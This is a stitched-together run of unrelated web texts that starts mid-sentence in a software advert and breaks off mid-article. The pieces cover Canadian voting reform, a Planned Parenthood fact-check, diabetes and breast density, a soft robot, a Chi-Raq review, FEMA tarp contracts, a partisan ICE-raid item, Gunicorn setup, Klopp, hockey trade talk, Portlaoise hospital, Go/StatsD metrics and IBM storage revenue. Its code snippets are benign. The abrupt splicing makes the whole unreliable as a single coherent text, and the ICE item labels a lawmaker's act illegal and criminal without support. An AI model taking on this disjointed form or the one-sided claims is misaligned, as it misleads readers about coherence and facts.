worry, Syncios Free manager has your back. Syncios Free Manager is a powerful iTunes alternative and iOS manager, trusted by millions Apple users. It can help you transfer, backup and restore data between your PC and iPad/iPhone/iPod without using iTunes. Learn More>> Try the free trial version of Syncios Manager Now! Related Articles * How to enjoy movie DVDs on Sony Xperia Z2? * Sony PlayStation 4 is not only a game cosole, but also a home meida center * Watching classic movie DVDs on Samsung Galalxy S5 with Any DVD Cloner Platinum -OTTAWA—Chief electoral officer Marc Mayrand says Canada’s outdated voting process has reached a tipping point and must be modernized to meet the needs and expectations of voters. Mayrand says the Canada Elections Act is based on the way elections were conducted in the 19th century, when communication with the regions was limited, oversight was minimal and election administration was local. Marc Mayrand wants to take Canada's " rigid and slow" voting system into the 21st century. ( Sean Kilpatrick / THE CANADIAN PRESS ) As a result, he says the process is entirely manual, rigid and slow. In last fall’s election, he says the cumbersome procedures resulted in long lineups at advance polls. Mayrand is recommending a number of reforms to bring the process into the 21st century. Article Continued Below For instance, he says voter information cards should include bar codes that can be electronically checked as soon as voters show up at polling stations, rather than forcing voters to wait in line for a poll worker at a specific table to strike their name off a paper list. -Sen. John Kyl (R-AZ) made a startling misstatement on the Senate floor Friday, amid a heated debate on funding women’s health services — a key sticking point for Republicans and Democrats struggling to pass a budget that would keep the federal government from shutting down. “You don’t have to go to Planned Parenthood to get your blood pressure or your cholesterol checked,” he said. “If you want an abortion, you go to Planned Parenthood, and that’s well over 90 percent of what Planned Parenthood does.” Shocking as that might sound, it’s patently false. In fact, the opposite is true: More than 90 percent of what Planned Parenthood does has nothing to do with abortion. The Planned Parenthood Federation of America (PPFA) is one of the nation’s top non-profit organizations. In 2009, according to PPFA’s figures, 96 percent of its activities were dedicated to one of the following: cancer screenings; STD or STI testing; counseling and education; or pregnancy testing and prevention. Thanks to all of this, one in five American women have a much better shot at preventing unwanted pregnancies or catching a life-threatening disease before it becomes critical. In fact, the vast majority of PPFA’s reproductive health efforts are dedicated toward preventing unwanted pregnancies. To this effect, independent research shows that each year PPFA plays a role in preventing over 2 million unwanted pregnancies and stopping over 800,000 women from getting abortions, saving public agencies billions of dollars in the process. The group says that only three percent of their patients request abortion services. Figures show the PPFA is ten times more likely to help prevent an abortion than carry one out. Additionally, PPFA volunteers reportedly distributed educational materials on reproductive health to over 1.9 million people in 2009. They were also a key bulwark in the fight against sexually transmitted diseases, carrying out nearly 4 million tests that year. Despite this, misinformation as to what PPFA actually does remains rife among many Republicans. Confronted by questions from Raw Story, one legislator in South Dakota — Republican state Sen. Al Novstrup, the key sponsor of that state’s recently passed abortion restrictions — appeared to be under the impression that PPFA was a profit-making venture with a “financial incentive” to carry out as many abortions as possible. Sen. Kyl, it would seem, is about on that same page. Funding for PPFA was a key sticking point for Republicans and Democrats on Friday as they struggled to pass a budget that would keep the federal government running. Republicans in the House, who recently passed a budget that cut virtually all domestic programs and left defense spending untouched, insist on ending support for PPFA. Democrats have conceded to a wide cross-section of their proposed cuts, but insist that womens’ health services are not negotiable. Most services provided by PPFA are significantly more expensive when purchased from the private sector. Critics have suggested that the refusal to fund PPFA is actually a back-door scheme to funnel additional money into private health providers, which would be the last resort for most PPFA patients who lack health insurance. Republicans insist, however, that they are morally opposed to public funds going toward abortions. Public funding of abortions, however, has been repeatedly banned at the federal level. Public funds for abortion are only provided through Medicaid, and only in cases of rape or incest. If the two parties cannot agree on a budget by midnight tonight, over 800,000 public workers will be temporarily displaced and many active duty combat troops will not receive their paychecks. This video is from C-SPAN, broadcast Friday, April 8, 2011, as snipped by ThinkProgress. -Diabetes treatment may reduce breast cancer risk in women by lowering mammographic density, according to research. Mammographic density is a strong risk factor for breast cancer, and any form of diabetes treatment has been found to lower it. Previous research has found a link between diabetes and mammographic density, but this is the first time when diabetes treatment like insulin has been studied in this context. The study looked at 5,644 women who received mammographic screening between 1993 and 2001. Associate professor Dr. Zorana Jovanovic Andersen reported, “Women with diabetes were less likely to have mixed or dense breasts, as opposed to fatty ones, both before and after adjustment for other factors such as being overweight.” Similar associations were seen among 44 women who had controlled diabetes solely by diet and 62 diabetics who took oral medications. Women who used insulin injections were found to have increased odds of mixed or dense breasts. Dr. Andersen added, “Diabetes is associated with an increased risk of breast cancer, but the exact mechanisms which bring this about are still unclear. One of the characteristics of cancer cells is their ability to grow rapidly and uncontrollably, and to resist the programmed death that occurs in non-cancer cells. Therefore, growth factors are critical to cancer development and progression. We know that insulin is an important growth factor for all body tissues, and even if we do not know exactly how it affects the development of cancer cells, it is also highly plausible that it increases breast density.” “Our study looked solely at the effect of insulin on breast density. Now we would like to extend our research by following up these women for breast cancer and observing the effect of different diabetes treatments on breast cancer risk. If we find a relationship, we need to examine whether a high [mammographic density] is responsible, or whether other factors are involved,” said Dr. Andersen. The researchers intend to conduct a larger scale study on mammographic density data and link it to specific insulin treatments from the Danish Prescription Registry. Dr. Andersen concluded, “Denmark is fortunate to have such a large MD data set, which, through the DCH study group, can be linked to many different issues that may influence health outcomes. The possibility of analyzing such detailed information in a coherent group means that we have the ability to undertake additional studies in order to further investigate the relationships between breast density and other risk factors for breast cancer. In the meantime, we would urge all women, both with diabetes and without, to take measures to reduce their risk of developing breast cancer through simple lifestyle changes, such as avoiding obesity, reducing alcohol consumption, and exercising.” Connection between diabetes and breast cancer Controlling glucose levels in diabetes is important as uncontrolled glucose levels can cause damage to the blood vessels and the circulatory system, resulting in kidney failure, lower limb amputations, and even vision loss. Although this may not seem as if it is associated with breast cancer, in fact, it has been reported that there are higher rates of breast cancer among diabetics than those without diabetes. Fifty years ago, it was first reported that breast cancer was most common in type 1 diabetes, but recent research has shown a more specific link between type 2 diabetes and breast cancer. Postmenopausal women over the age of 50 with type 2 diabetes have been found to have a 20 to 27 percent higher risk of breast cancer. Although the link between the two isn’t as clear, it is speculated that the damage caused by uncontrolled glucose levels and inflammation can contribute to breast cancer. Additionally, type 2 diabetes and breast cancer share many common risk factors, including being overweight or obese, and lacking exercise and physical activity, to name a few. Furthermore, it has been observed that women with type 2 diabetes and breast cancer have a 50 percent higher risk of death. It is then even more important to manage your diabetes to not only reduce your risk of breast cancer, but to avoid worsened complications of the condition. Related Reading: Type 2 diabetes in women increases heart attack and stroke risk, intense activity may lower risk Type 2 diabetes in women increases heart attack and stroke risk, but intense activity may help lower the risk. Women, compared to men, have double the risk of having a heart attack or stroke if they have type 2 diabetes. The findings suggest that additional intense activity could help lower the risk of cardiovascular disease. Continue reading… Gestational diabetes can develop into type 2 diabetes after pregnancy Gestational diabetes is a type of diabetes that only occurs during a woman’s pregnancy, although data shows that it can turn into type 2 diabetes after a person gives birth. Your body needs glucose for energy, but too much glucose in the blood is not good for the baby. If you have blood sugar that is too high then you have diabetes. Gestational diabetes is typically diagnosed during the late stages of pregnancy. Continue reading… Sources: https://www.ecco-org.eu/Global/News/EBCC/EBCC10-PR/2016/03/Diabetes-treatment-can-reduce-mammographic-density-an-important-risk-factor-for-breast-cancer http://ww5.komen.org/KomenPerspectives/Diabetes-and-Breast-Cancer.html -Kaboom! Controlled explosions in the legs of this silicone 'soft robot' make it leap higher than 30 times its own height. Researchers led by George Whitesides, a chemist at Harvard University in Cambridge, Massachusetts, have engineered a three-legged silicone device that is powered by combustion — previously used only in hard systems such as diesel engines. The soft robot has in each of its legs a channel with a soft valve at the end. Methane and oxygen gases are fed into this channel in a ratio of one part methane to two parts oxygen. The computer that controls how much gas is let in also controls a high-voltage cable connected to electrodes in each leg. When the computer sparks the electrodes, the methane and oxygen explode, turning into carbon dioxide and water — and releasing a lot of energy. The downward force from the explosion makes the robot jump — higher than 30 centimetres so far, although the researchers say the range has been limited by the height of the testing chamber. The soft valve is crucial, says Robert Shepherd, a study co-author and engineer at Cornell University in Ithaca, New York. It closes in response to high pressure, thus making the pressure even higher, and then it opens after the explosion to let the exhaust gases out. Soft robots are lighter and simpler than hard systems, and they are relatively inexpensive to produce — but they have previously been limited to compressed-air power, owing to the high heat generated in combustion reactions. “The key discovery is that this material can work at these high temperatures,” says Shepherd. The robot has withstood more than 30 consecutive explosive jumps so far. The results were published this week in Angewandte Chemie1. The researchers hope that a developed version of their device could be used for search-and-rescue operations, leaping and cartwheeling its way over any obstacles that might block its path. -After months of controversy, Spike Lee’s new film Chi-Raq finally hits theaters today. It’s a dud. A squandered opportunity. There’s a reckoning to be had in Chicago, and a serious examination to be done about the pervasiveness of gun violence here, but this movie is not it. Billed as a satire and based on the Greek comedy Lysistrata by Aristophanes, Chi-Raq is a brazenly opportunistic film, glomming onto current events with sickening desperation, simultaneously overwrought and underwhelming. The plot summary in brief: After a series of escalating violent acts between two rival gangs—the Spartans and the Trojans—result in the shooting of a little girl, a young woman named Lysistrata (Teyonah Parris), girlfriend of Spartan gang leader Chi-Raq (Nick Cannon), initiates a sex strike in the hopes that it will curb the city’s violence. In the film, Lysistrata’s strike is marked with a motto: “I will deny all rights of access or entrance,"which she repeats to her legion of women. The film’s posters, however, put it more succinctly: “No Peace, No Piece.” Chi-Raq is both a satire and late period Spike Lee and, ultimately, a mess. There are glimpses of that signature Lee stamp—direct camera addresses, gorgeous cinematography (Wicker Park has never looked so good), and moving performances from Angela Bassett, Jennifer Hudson, and (surprisingly!) John Cusack. But there is so much more that doesn’t work, from the haphazardly enforced rhyming verse throughout to the jarring nods at every hot button black subject du jour (mass incarceration! Sandra Bland! The Prison-Industrial Complex!). It’s a well-known fact—one trumpeted by Lee himself—that the film was shot in six weeks and Lee scrambled to release it in time for Oscar consideration. The rushing shows. It’s hard not to come away from the movie feeling as though it’s a gross oversimplification of Chicago’s ails. Both Lee and his co-writer, Kevin Willmott, who originally came up with the concept of a modern revamping of Lysistrata, freely admit that the film was not originally supposed to be set in Chicago. That changed because of social media (read more about that here). In Chicago’s Q&A with Lee, he claims to have done his research. And sure, he frontloads the movie with grim stats about the violence in the city. The 500 murders in 2012, the contested claim that there have been more murders in Chicago than in Iraq. But from then on, the depictions of gang culture appear to stem directly from bad, outdated movies and TV shows about gang life. They resemble nothing of the overwhelmingly young, decentralized nature of the gangs that proliferate in Chicago today. The fact that the film’s two central gang leaders (itself a dated concept in Chicago, when there are hundreds of splintered gangs who rule over one block or one street) are played by Nick Cannon, age 35, and Wesley Snipes, age 53, is just wildly inaccurate. (Let’s ignore, forever, the utter absurdity of Snipes’s Cyclops, from his bizarre, staccato laugh, to his bejeweled eye patch, to any character context whatsoever.) As Chicago has reported, the average age of both victims and perpetrators in Chicago is really young—a shocking number are under the age of 30. What’s been so surprising—if not infuriating— about early critical reactions to the film is just how laudatory so many reviews have been. The cream of that strange crop: New York Times film critic Mahnola Dargis’s critic’s pick review. She not only calls Chi-Raq the best work Lee has done in years, but writes this travesty promptly circulated around local Internet circles and rightly mocked: “Set in contemporary Chicago, where sidewalks are washed with blood, and human hearts beat to the rhythm of gunfire…” Why is there such reticence on the part of critics to really address the film’s awfulness? As if taking on Chicago gun violence means Lee should be offered a carte blanche. The tropes the film traffics in means it could have been set anywhere. That Lee chose Chicago seems like a desperate attempt on his part to cash in on the city’s unflattering national spotlight. Lee says he wants this movie to save lives. But if it has no basis in the reality of the city, how can it? Share -One of the most common sights following any major storm is a large number of houses with blue tarps pinned to their roofs. That was certainly true in Houston after Hurricane Harvey, and in Florida after Irma rolled through. But images from Puerto Rico following the devastation of Hurricane Maria are almost blue-roof-free. That’s not because the hurricane didn’t leave plenty of damaged homes — with winds speeds over 150 mph when it made landfall, Maria was a monster storm that ripped shingles from homes that met even the most stringent hurricane standards. So why are images from Puerto Rico so lacking in that post-disaster blue? After Hurricane Maria damaged tens of thousands of homes in Puerto Rico, a newly created Florida company with an unproven record won more than $30 million in contracts from the Federal Emergency Management Agency to provide emergency tarps and plastic sheeting for repairs. Just as the contract to rebuild Puerto Rico’s electrical grid was awarded to a two-man firm in Montana that didn’t even have an office, FEMA awarded the contract for supplying tarps and similar post-disaster materials to the Florida firm Bronze Star. Only neither of the brothers behind the company had the supplies they were selling, or experience in acquiring them, or knowledge of delivering them. And if the name has you wondering, neither of them actually has a Bronze Star. “My brother and I, we are both veterans, so we just came up with a name to do business,” Kayon Jones said. “We’re not saying we have a Bronze Star or anything.” Somehow the proposal from Bronze Star beat out eight other bids for tarps and plastic sheeting. But not a single item was delivered before FEMA finally cancelled the contracts on November 6. Which means that since September 20, homes on Puerto Rico have been picking up even more rain damage as they waited for these supplies. -Massachusetts Lawmaker Who Tipped Illegals Off to ICE Raids Says She’s Not Sorry As reported earlier — Massachusetts State Representative, Michelle Dubois took to Facebook to warn illegal aliens that ICE would be doing raids in the community of Brockton on Wednesday, March 29th. Ms. DuBois even gave specific instructions to illegal aliens to stay inside ‘don’t go out on the street’ and if there was a knock on the door, not to answer the door. Michelle DuBois told CBS Local she is not sorry for her illegal stunt: “Passing information along that is already all over the community not only lets the people I represent know what is happening. It lets ICE know that everyone in Brockton is aware of their intended raid if there was one,” DuBois said, reading a statement aloud. Asked whether she thought the post could be construed as obstructing justice, she replied, “No, I don’t.” DuBois also said she did not see a problem with disseminating a rumor and admitted, she did not contact ICE before doing so. They need to start locking up a few of these criminals. This lawmaker is out of control. -This is going to be a series of posts that talk about what I learned from the Django Dash. I think it’s a really fun competetion that is also a great learning experience. I hope that this series catch on, and other people write about some of the things that they learned in the Django Dash. What I learned¶ The thing that I learned about during my dash project was the awesomeness that is Gunicorn. It is an awesome HTTP server that I think has really solved the “how do I deploy Django” problem. Here are the steps involved in deploying a site using the gunicorn: pip install gunicorn Add ‘gunicorn’ to your installed apps ./manage.py run_gunicorn -b 127.0.0.1:1337 –daemon It really is that simple. Gunicorn is the fastest way to having a production ready web server serving your site that I’ve found in the Django realm. However, Gunicorn by itself isn’t production ready. It is recommended to deploy something in front of it. We used Nginx, which is another super simple web server. Here is basically the simplest possible configuration of nginx that will work for your gunicorn backend server. server { listen 80 ; server_name example . com ; access_log / var / log / nginx / example . log ; location / { proxy_pass http : // 127.0 . 0.1 : 1337 ; } } After you restart Nginx, you should be able to hit your server at port 80 and have it be serving your Django web app. This allowed us to get our application into production during the dash in about 10 minutes, which was a great time saver. I’d be curious if people have had any trouble with Gunicorn in deployment, because as far as I’ve seen its production ready. As a “first Django deployment” set up I think it’s hard to beat. I’ve also noticed that is uses significantly less RAM than an Apache/mod_wsgi set up (I know this can be configured away, but by default it’s much better). This is great for the memory constrained deployment platforms a lot of us are running on. -The best story about Jürgen Klopp’s reputation in Germany dates back to 2008 when, as Mainz manager, he was under consideration to take over at Hamburg, subject to an intensive, secret period of scrutiny by the club, who had him observed at training, on match-day and in his life outside football. Of the many details that were reported back to Hamburg, the fact Klopp often wore ripped jeans struck the club’s board as posing a serious question about his suitability. In the end, they gave the job to Martin Jol. For Klopp, who joined Borussia Dortmund months later, the story served as a useful reminder in driving the perception that he was a figure who belonged outside the establishment. Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month The owners of Liverpool, Fenway Sports Group, will have no such concerns when they move to close a deal with their new manager over the next few days. Klopp, at 48, has a pedigree as good as any manager to come into the Premier League since Louis van Gaal and he has nurtured the reputation of a maverick and an outsider at Dortmund, where he often defeated the mighty Bayern Munich. In the past, he has publicly compared Munich to the villain in a James Bond movie, while casting Dortmund as the force for good. He also compared Bayern’s approach to China’s theft of Germany’s manufacturing industry’s best ideas. “Bayern go about football in the same way that the Chinese go about industry,” he said in 2013. “They look at what others do and then they copy it, with more resources and more money.” Put it this way, if Jose Mourinho, for example, goes for the putative new Liverpool manager in one Friday lunchtime press conference, then he can certainly expect a robust response. Klopp has a confidence and an ego to match the biggest that currently call the Premier League home. The question is, what effect he can have on Liverpool? He inherited a Dortmund team that finished 13th in the Bundesliga in 2008 and took them to two league titles in 2011 and 2012, as well as the cup double the second year. They reached the Champions League final in 2013 but then, after another second-place Bundesliga finish in 2014, they dropped like a stone. Bottom in February, they finished seventh last season, the same as Liverpool, albeit with a much inferior points-to-games average than the English club – 1.35 against 1.63. Along the way, Klopp fought against a dominant club in Bayern, with the resources to sign his best players. The underdog status will be no different with Liverpool, except that instead of one club with more financial clout than Dortmund, there are four who can outgun Klopp’s new club. How he approaches that challenge will be intriguing. Speaking to those who know Klopp well, it is his capacity to motivate players that stands out as his greatest strength. He is big on the pre-match speech, on making good players give great performances. He likes the emotion of the occasion and he uses that to his own players’ benefit. He is not against taking on journalists in press conferences. Tactically, the best Dortmund teams were about hard-running, high-pressing and an energy that overwhelmed their opponents. Even in Klopp’s last season, when it was falling apart in the Bundesliga, they still succeeded in giving Arsenal a comprehensive Champions League chasing in September. He is a manager with one key philosophy and while Dortmund’s style was so formidable for so long, it was also perceived as a weakness. While there was not one key reason why Dortmund fell apart last season, the problems associated with maintaining that style of football was cited. Another was that the players had simply heard Klopp’s speeches too many times. His power to inspire them had waned and, without that, there was not much left. His Bosnian assistant, Zeljko Buvac, a team-mate from his playing days at Mainz, is a certainty to follow Klopp to Anfield. He regards Buvac as his “brains” and the co-architect of Dortmund’s style of play. That said, Klopp was regarded as the best pundit on German television when it came to tactical analysis during his stint for broadcaster ZDF during the 2006 World Cup finals in Germany. He was only manager of Mainz then, yet his ability to explain strategy simply made him a first choice above more famous names. Dortmund’s player recruitment was a collegiate effort, led by the technical director Michael Zorc, regarded as one of the best in the business. Once players were acquired, it was Klopp’s confidence that helped develop some of them into the stars they became. He encouraged the potential of Lukasz Piszczek at full-back, when he had previously been a mediocre striker for most of his time at Hertha Berlin. He also took a chance on Robert Lewandowski. Since his departure from Dortmund, the new manager, Thomas Tuchel, has tried to introduce more than one way of playing as an alternative to the high-octane style that Klopp preached. That style was cited in some quarters as unsustainable, with a tendency for them to tire late on in games, as they did in losing the 2013 Champions League final. Their start to the current season has been remarkable, unbeaten until they ran into Bayern Munich this weekend and lost 5-1. Either way, Liverpool are not recruiting a manager who has a track record of making quiet progress. Klopp is an impact coach, a man with a big personality who will seek to establish himself quickly in the minds of his players and in those of the English football public. At least, that is what he did at Dortmund – and the effect, culminating in one three-year period between 2010 and 2013, was impressive. His mentor was the late Wolfgang Frank, a former player and manager of relative obscurity who was Klopp’s manager at Mainz in the 1990s. Frank was known for his original, unconventional approach, which made an impression on the young Klopp. At a club that has spent more than 25 years trying to return to the top of English football, there is a platform to do things differently. Liverpool cannot afford to be unreceptive to new ideas as they try to break the top four. Klopp proved himself the master of that innovation at Dortmund and the question he will have to ask himself at Liverpool is whether that will work once more or if a new approach is required to solve a very old problem. Chelsea’s statement of intent couldn’t be clearer, Jose “He has the squad with which to do it.” Just nine words, but a sting in the tail to the statement of support that Chelsea offered Jose Mourinho. Roman Abramovich has given his manager the public support he asked for, but made it clear he has the resources at his disposal to, as the statement puts it, “turn this season around”. These statements are not issued lightly and their composition is very carefully considered. Mourinho knows what is required of him and the next club statement reflecting on his performance – if there is another – is not so likely to be good news. Keep up to date with all the latest news with expert comment and analysis from our award-winning writers -A few weeks ago, TSN’s Pierre LeBrun reported that the Tampa Bay Lightning is looking for a defenceman (preferably a right shot) in a theoretical Jonathan Drouin trade. Since then, we have heard buzz about a number of potential Drouin deals, perhaps the most prominent concerning Tampa Bay’s targeting of Cody Ceci and/or Thomas Chabot from the Ottawa Senators. In essentially every potential trade scenario, the proposed deal has Tampa Bay acquiring some type of defender in exchange for their former third-overall pick. To me, that’s just as interesting as the reality that a player with such great potential is on the trade block, his future with the Lightning organization as dead as a doornail. Tampa Bay is in a tough spot here. Trading a blue-chip prospect at such a young point in his career presents the danger of a pennies-on-the-dollar kind of return. It’s an even bigger risk since the Lightning is an organization that should realistically be competing for a Stanley Cup right now. Only Washington has emerged as a serious threat in the Eastern Conference, so that window is wide open. The way they are so actively targeting defenders in potential trades indicates that the front office has identified the team’s biggest operational need – a defenceman to play behind their vaunted top pairing of Victor Hedman and Anton Stralman. It’s an interesting development, and one that seems to be data-driven. You can apportion at least some of Tampa Bay’s relatively slow start to the season to their second and third pairings not performing up to par. What’s more troublesome – at least if you are general manager Steve Yzerman or head coach Jon Cooper – is that the bottom four’s bad performance has been somewhat pervasive, regardless of who is on the ice with them. Where Hedman and Stralman elevate the performance of Tampa Bay’s impressive forward group, the rest of the blueline seems to artificially suppress performance. Playing with the second and/or third pairing often means spending more time in the defensive zone, and, consequently, fewer chances to have an impact in the offensive zone. It doesn’t matter if the first line or the fourth line is out with Tampa Bay’s top pairing — they’re going to spend a significant portion of shifts in the offensive zone. This pairing has become something of an analytics darling, so there’s no need to re-hash what’s already been said time and time again. Simply put: they have an incredible impact on their team’s play regardless of whom else in on the ice with them. That’s indicative of very real, very measurable talent. On the other hand, Tampa Bay defenders three through six have really struggled from a possession standpoint. It’s amazing to me that none of these defenders can do little more than break-even (at best) when playing with a generational talent like Steven Stamkos, or the vaunted Triplets Line that has chewed up competition since being assembled a couple of seasons ago. I do wonder if Tampa Bay thinks this is a two-pronged issue – the first being that talent on the second and third pairings hasn’t played up to expectations, the second being that ‘handedness’ is contributing to some of the defence’s struggles. Three of the four regulars (four of five if you count Nikita Nesterov) are left-handed shots, meaning at least one pairing is lefty with lefty. That means the other pairing features the lone right-handed shot in Andrej Sustr, a player who hasn’t developed as quickly as Tampa Bay anticipated. Acquiring a talented right-shot defender would hypothetically solve both of these issues. It’s a theory, but one worth considering in light of the trade buzz. The Takeaway If Tampa Bay was just a team looking to inch into the playoff race and hope for a May miracle, we likely wouldn’t be so concerned with how their blueline depth has performed. But Yzerman and company have pegged this team as a Stanley Cup hopeful. Knowing that the future of Stamkos is up in the air, I’d hazard to guess that the pressure is on to win now. To that end, it’s also understandable why the front office wants a defensive upgrade. After Hedman and Stralman, they just haven’t been good enough. -Health Minister Leo Varadkar has admitted that parents of babies who died at the Midlands hospital in Portlaoise had been lied to over the circumstances of their children's deaths. Speaking on RTÉ's This Week programme, the minister said he found it "extremely worrying" and "appalling" that parents who lost children at the hospital "were not dealt with honestly". This included some cases where parents were told that their child's death was the only one of its kind. He said it was important to create an environment where hospital clinicians at all levels were honest about mistakes made, but that there had been a culture of defensiveness within the health service. The minister also said that the HSE continued to dispute some of the findings of a damning investigation carried out by HIQA, the health standards watchdog. However, he said both the HSE and his department had accepted all of HIQA's recommendations. Among these, he said that he hoped to see the proposed Patient Advocacy Service in place sooner than the May 2016 target. He also wanted to see the planned national maternity strategy published by the end of this year. Minister Varadkar also said he expected that terms of reference would be drawn up either this week or the week after for an external review into how certain red flags at Portlaoise hospital did not pass up through HSE management. He said he expected a final report in a number of months. -How can you keep an eye on that slow SQL query? Is it taking up too much time nowadays? How about that call to the 3rd party API? Is it actually slow during the weekends? Being able to answer such questions quickly, to track these numbers in real-time, is a bit like driving at night with headlights on! Imagine adding a new feature that you’ve tested well enough, but want to roll it out slowly in production, while keeping an eye on the time taken for a few crucial operations. Having a system where it is easy to add in these few metrics quickly, have it graphed and alerted on in real-time, provides the scaffolding for smooth, solid ops. And less weekend on-call duties. So how do you get yourself such a system? Read on! Measuring This is the easiest part. Measuring the time taken to execute a piece of code typically goes like: func ( foo * Bar ) Parse () error { t := time . Now () // ... do stuff ... elapsed := time . Since ( t ) // report elapsed } // or, a little more cleanly, like this: func ( foo * Bar ) Parse () error { t := time . Now () defer func () { elapsed := time . Since ( t ) // report elapsed }() // ... do stuff ... } If you want to count the number of times an event occurred, you’d use something like this: var parseFailures uint64 func ( foo * Bar ) Compile () error { if err := foo . Parse (); err != nil { // count the number of times this happens atomic . AddUint64 ( & parseFailures , 1 ) // ... } // ... } There are better ways to count and to report that count, though. Read on. Reporting Metrics (push) vs. Collecting Metrics (pull) How do you get the measurements out of your app and into something which can graph them? There are two approaches: Push : After gathering the measurement, your app reports, or “pushes” the measurements into a low-latency service, and continues with it’s work. : After gathering the measurement, your app reports, or “pushes” the measurements into a low-latency service, and continues with it’s work. Pull: Your app exposes these metrics in a standard format at a predefined endpoint. A collection service “pulls” these metrics. There are enough examples of these in the wild. The proc filesystem mounted at /proc and an SNMP agent that can be queried are examples of the pull model. Google Analytics is an example of the push model. So which one should you pick for your app? There’s no correct answer. In both cases, apart from your app, you need a service that can accept metrics or pull metrics. You should choose an approach that suits your app, scale and team. The expvar package Within Google, the pull approach is used, which perhaps explains why the expvar package exists in the Go standard library. This library provides a way to expose your app metrics so that a service can collect them. Rewriting the above using the expvar package makes it look like this: import "expvar" var elapsed = expvar . NewFloat ( "parseTotalTime" ) // nanoseconds func ( foo * Bar ) Parse () error { t := time . Now () defer func () { elapsed . Add ( time . Since ( t )) }() // ... do stuff ... } var parseFailures = expvar . NewInt ( "parseFailures" ) func ( foo * Bar ) Compile () error { if err := foo . Parse (); err != nil { // count the number of times this happens parseFailures . Add ( 1 ) // ... } // ... } Importing the package sets up an HTTP handler for the default HTTP server to handle the URL path /debug/vars , and serves up your metrics as a JSON object. You’ll need to start the default HTTP server explicitly. Although it is convenient that this package exists in the standard library, there is not much of an (open source) ecosystem around it. Neither are there schema or conventions around the JSON format that is exposed. If the pull approach suits you best, you might also want to take a look at Prometheus. StatsD and Graphite For the push model though, StatsD and Graphite are the de facto standards. There are client libraries for many languages that let you push metrics into StatsD and graphite. You can send your measurements as plain metrics into a graphite server. A single report is simply a name, a timestamp and a value. StatsD was designed to sit between your app and graphite, and do some aggregation of the metrics before passing it on to graphite. What’s that, you ask? Basically, StatsD hangs on to the metrics you send it, and at periodic intervals (called the “flush interval”, typically 1 minute), calculates additional information and then pushes it into graphite. Here are some things that it can calculate: Each time an event happens, you can send a “+1” to StatsD. It can count them, and report totalled counts. Each time you send a timing measurement, StatsD remembers it. At flush time, it computes percentiles, min, max and more for each timing measurement metric and forwards it to graphite. You can track a varying quantity (like system temperature or fan speed) as a gauge. The last value at flush time gets reported. See this page for all the cool stuff that StatsD can compute. Sending Data to StatsD The StatsD on-wire text protocol is so simple it hardly needs any vendored library. Essentially, you can send text strings in this format to an UDP port. Here’s the complete source of a fully functional StatsD client: package util import ( "fmt" "io" "net" "time" ) var queue = make ( chan string , 100 ) func init () { go statsdSender () } func StatCount ( metric string , value int ) { queue <- fmt . Sprintf ( "%s:%d|c" , metric , value ) } func StatTime ( metric string , took time . Duration ) { queue <- fmt . Sprintf ( "%s:%d|ms" , metric , took / 1e6 ) } func StatGauge ( metric string , value int ) { queue <- fmt . Sprintf ( "%s:%d|g" , metric , value ) } func statsdSender () { for s := range queue { if conn , err := net . Dial ( "udp" , "127.0.0.1:8125" ); err == nil { io . WriteString ( conn , s ) conn . Close () } } } As you can see, the code is quite simple. The metrics are pushed into a channel to allow the caller to continue ASAP. The statsdSender then writes each measurement into a StatsD-compatible agent on localhost. The util.Stat* functions are meant to be used from application code, like so: func ( foo * Bar ) Parse () error { t := time . Now () defer func () { util . StatTime ( "parse.timetaken" , time . Since ( t )) }() // ... do stuff ... } func ( foo * Bar ) Compile () error { if err := foo . Parse (); err != nil { util . StatCount ( "parse.failures" , 1 ) // ... } // ... } If you anticipate that too many metrics might get pushed into the channel, have a look at the client-side sampling rate feature of the StatsD protocol. StatsD and the OpsDash Smart Agent In the code above, the metrics are pushed into a StatsD running on localhost. For OpsDash, we actually use nearly the same code above in production, and we don’t have a StatsD on each node! The OpsDash Smart Agent includes built-in StatsD and graphite daemons. Naturally, we use OpsDash itself to monitor the SaaS version of OpsDash! Here’s a snippet of the agent configuration file /etc/opsdash/agent.cfg : statsd { # You can enable the statsd interface by setting this to 1. enabled = 1 # For timing metrics, percentiles are computed as per this list. Values # must be comma-separated integers in ascending order. Default value is # "90,95,99". #percentiles = "90,95,99" # When enabled, OpsDash will listen on *:8125/tcp and *:8125/udp for # statsd connections. Uncomment to change the IP or port it listens on. #bind.udp = "0.0.0.0:8125" #bind.tcp = "0.0.0.0:8125" } The OpsDash Smart Agent runs on each node and accepts the StatsD metrics from the application code. It then forwards it to the OpsDash SaaS server, where it can be graphed and alerted upon. Here’s how the above metrics will look on an OpsDash custom dashboard: Further Reading -Analysis For IBM, storage value is moving to software, with object storage and flash growing while legacy disk and tape products see revenue falls. In Big Blue’s fourth 2016 quarter overall revenues dropped nine per cent but storage hardware revenues fared worse, dropping 11.1 per cent, with no end in sight. This continues a trend seen for the past four years. The only bright spots seem to be flash arrays (FlashSystem) and server-based storage but we don’t know how bright. IBM’s financial reporting singles out storage hardware but not flash hardware within it. IBM doesn’t report server-based storage separately nor identify storage software revenues as a single reporting category; all of which hampers our ability to know what’s going on. We can see what’s been happening with the storage hardware category generally and it ain’t pretty. Here's four charts showing what’s what. Chart number one is a look at IBM’s quarterly revenues from 2010 to the end of 2015, with storage hardware revenues separately tracked. Click chart for larger view Chart two is a look at storage hardware revenues on their own to make things clearer. A trendline has been added to show the downward trend Our third chart summarises this in an annual view. Four straight years of decline Chart four abstracts out each quarter and shows its value year by year. We see a consistent decline in storage revenues here. The message here is that IBM storage hardware revenues have seen four straight years of decline and there is no end in sight. IBM management does not identify storage hardware as an area needing attention, despite annual revenues having dropped 35 per cent over four years, from $3.7bn in 2011 to $2.4bn in 2015. Martin Schroeter, IBM’s CFO, said in prepared remarks: “A couple of years ago we laid out our strategic imperatives around big data and analytics, around cloud, and around mobile and security.” In 2015’s final quarter “Our strategic imperatives continued strong performance, up 26 per cent for the year. This now represents 35 per cent of IBM’s revenue.” Within that: “With 57 per cent revenue growth over the last year, cloud is now a $10 billion business for us. This made us the largest cloud provider in 2015.” Cloud is the big thing, in Schroeter's view. “To address opportunities we see in this space, in 2015 we made seven cloud acquisitions including Cleversafe for object storage, Gravitant for cloud brokerage services, and Clearleap for cloud video services. We also invested nearly a billion dollars in capital expanding our global cloud data centre footprint to 46.” It’s not that hardware, per se, is bad, though. In Schroeter's words: “Our Systems Hardware revenue was up, driven by z Systems and Power. … This was the fourth consecutive quarter of growth in both z Systems and Power. 